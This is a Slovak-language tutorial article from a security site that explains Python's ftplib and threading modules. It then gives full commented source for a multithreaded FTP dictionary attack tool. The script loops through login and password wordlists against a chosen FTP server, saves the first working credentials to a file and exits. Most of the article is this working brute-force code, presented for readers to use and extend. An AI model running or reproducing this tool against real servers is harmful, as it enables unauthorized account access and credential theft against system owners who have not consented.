Python - FTP dictionary attack (Zdrojový kód)

Zdroj: SOOM.cz [ISSN 1804-7270]
Autor: nitrexx
Datum: 7.10.2012
Hodnocení/Hlasovalo: 1.92/12

Výsledný okomentovaný zdrojový kód a vysvetlenie práce z modulom ftplib.

Ešte pred tým ako sa dostanete k zdrojovému kódu ukážem vám prácu s modulom ftplib. Je to jednoduchý príklad:

import ftplib

ftp = ftplib.FTP("server.com")#ftp server 
ftp.login("login", "password")#login a password
ftp.retrlines('LIST')#vypis obsahu
ftp.quit()# ukoncenie

Ako server zadáme iba „server.com“ , python je natoľko inteligentný že si sám pridá ftp:\\. Login to je jasné, zadáme meno a heslo, retrlines sem zadávame ftp príkazy ako napr. LIST ktorý vypíše obsah . A už iba ukončíme spojenie.

Vlákna už nejdem zvlášť ukazovať. V našom programe využívame iba run() a start(). Ukážem iba základnú štruktúru:

import threading

class ThreadWork(threading.Thread):

    def run(self):
   #sem dáme to čo sa ma vykonávať vo vlákne

work = ThreadWork()
work.start()#spusti vlakno a prejde do metody run

Vlákno sa dá vytvoriť ešte iným spôsobom(zavolať metódu threading.Thread() a predať jej objekt) ale toto je najpoužívanejší.

Zdrojový kód

Nešlo o to vytvoriť najlepší ftpda ale išlo o to ukázať ako sa tvorí takýto program, čo všetko k tomu potrebujeme a hlavne logiku ako to celé funguje. Snažil som sa to spraviť čo najjednoduchšie a najmenšie ale zase aby to splnilo svoj účel . Ďalej je už len na vás či si to rozšírte o nové funkcie.

import os
import sys
import getopt
import time, threading
from copy import copy
import ftplib
import signal

app = "Ftp Dictionary Attack"
version = '1.0'
author = "Nitrexx"

#nastavenie argumentov    
try:
    opts, args = getopt.getopt(sys.argv[1:],"h:s:l:p:",["help","server=","lfile=","pfile="])
except getopt.GetoptError:
    print app, " ", "Autor: ",author, "Verzia: ", version 
    print 'ftpda.py -s  -l  -p '
    sys.exit(2)
for opt, arg in opts:
    if opt in ('-h', '--help'):
        print app, " ", "Autor: ",author, "Verzia: ", version
        print 'ftpda.py -s  -l  -p '
        sys.exit()
    elif opt in ("-l", "--lfile"):
        loginfile = arg
    elif opt in ("-p", "--pfile"):
        passwordfile = arg
    elif opt in ("-s", "--server"):
        server = arg
        
#nacitanie loginov a hesiel
try:
    logins = open(loginfile,"r").readlines()
except(IOError):
    print "{0} nebol najdeny".format(loginfile)
    sys.exit(1)

try:
    passwords = open(passwordfile, "r").readlines()
except(IOError):
    print "{0} nebol najdeny".format(passwordfile)
    sys.exit(1)

print "\n\t\t\t   Nitrexx Dictionary Attack"
print "\t--------------------------------------------------\n"
print "[*] Server:",server
print "[*] Pocet loginov:",len(logins)
print "[*] Pocet hesiel:",len(passwords)
print '-' *15  
print 'Login subor :' ,loginfile
print 'Password subor  :', passwordfile
print '-' *15

dictionary = copy(passwords)#nakopiruje obsah do dictionary
    
def prekladac():# nacita odznova hesla
    for word in dictionary:
        passwords.append(word)

def zoznam():

    lock = threading.Lock()
    lock.acquire()#zamkne, aby sem nemohlo pristupit ine vlakno
    if len(passwords) != 0:
        value = passwords[0:]#aktualne nacitane heslo
        passwords.remove(value[0])#vymaze prve heslo
    else:
        #print "[*]Menim zoznam\n"+"-" *25
        prekladac()#nacita hesla od znova        
        value = "" #skusa prazdne heslo
        logins.remove(logins[0])# odstrani prvy login

    lock.release()#odomkne
    #podla podmienok vracia hodnoty a odstranuje biele znaky
    if value == "" and len(logins) == 1:
        return value, logins[0].strip()
    elif len(logins) == 1:
        return value[0].strip(), logins[0].strip()
    elif value == "":
        return value, logins[0].strip()
    else:
        return value[0].strip(), logins[0].strip()
 

        
class ThreadWork(threading.Thread):

    def run(self):
        
        value, user = zoznam()#vratene hodnoty
        try:
            print "Login:",user,"Password:",value
            ftp = ftplib.FTP(server)
            ftp.login(user, value)
            ftp.retrlines('LIST')#vypis
            ftp.quit()
            print "\t[+]Prihlasenie uspesne!\n"
            print "[*]Login: ",user + "\tPassword:",value#uspesne prihlasanie          
            outf = server+".txt"#subor pomenovany podla serveru
            out = open(outf, "w")#zapise sa do neho uspesny login a heslo
            out.write("Pass: " + value + " " + "Login: " + user)
            out.close()
            os.kill(os.getpid(), signal.SIGINT)#nasilne ukonci vlakno a cely proces
        except (ftplib.all_errors),msg:
            pass # chyba nesprav nic

def bigrange(stop):#vlastna metoda range
     i = 0
     while i < stop:
             yield i
             i += 1

for i in bigrange((len(passwords)+1)*(len(logins))-1):#vypocita dlzku 
    work = ThreadWork()
    work.start()#spusti vlakno
    time.sleep(0.1)#1 = sekunda, ked casovanie odstranime tak treba odkomentovat vypisi
                    #lebo vlakna idu rychlejsie a preto vypisuje slova rozhadzane

Všetky časti kódu som prebral v serialy tomuto venovanému. Ešte som nevysvetlil funkciu zámkov. Zámky su implementované aby malo k premenným prístup stále len jedno vlákno. Lebo keby pristupovalo k premenným veľa vlákien naraz bol by z toho chaos, kedže jedno vlákno by ešte nemuselo ukončiť prácu s premennou a už by ku nej pristupovalo druhé.

Takto keď sa tam dostane vlákno najprv zamkne spraví si svoju prácu a keď to dokončí tak odomkne a v tom už k tomu pristujpuje druhé vlákno.

Ďalej funkcia vráti hodnoty podľa podmienky a vlákno sa pokúša pripojiť na ftp ak uspeje vytvorí súbor z názvom serveru , ktorý obsahuje úspešný login a heslo a ukončí celý proces. Ak prihlásanie neuspeje tak nedspraví nič a pokúša sa o to ďalšie vlákno.

Funkciu bigrange() som musel spraviť preto, lebo klasické range() nedokáže pracovať z veľkým rozsahom a pri teste z wordlistom obsahujúcim 14 000 000 slov, nebude pracovať a ohlási chybu.

A time.sleep() je dôležité kvôli správnemu výpisu, ale spomaluje chod programu, takže keď odkomentujeme vypísi a túto metodu tak sa beh programu zrýchli ale program nebude mať žiadny výstup(iba zápis do súboru so správnym prihlasením).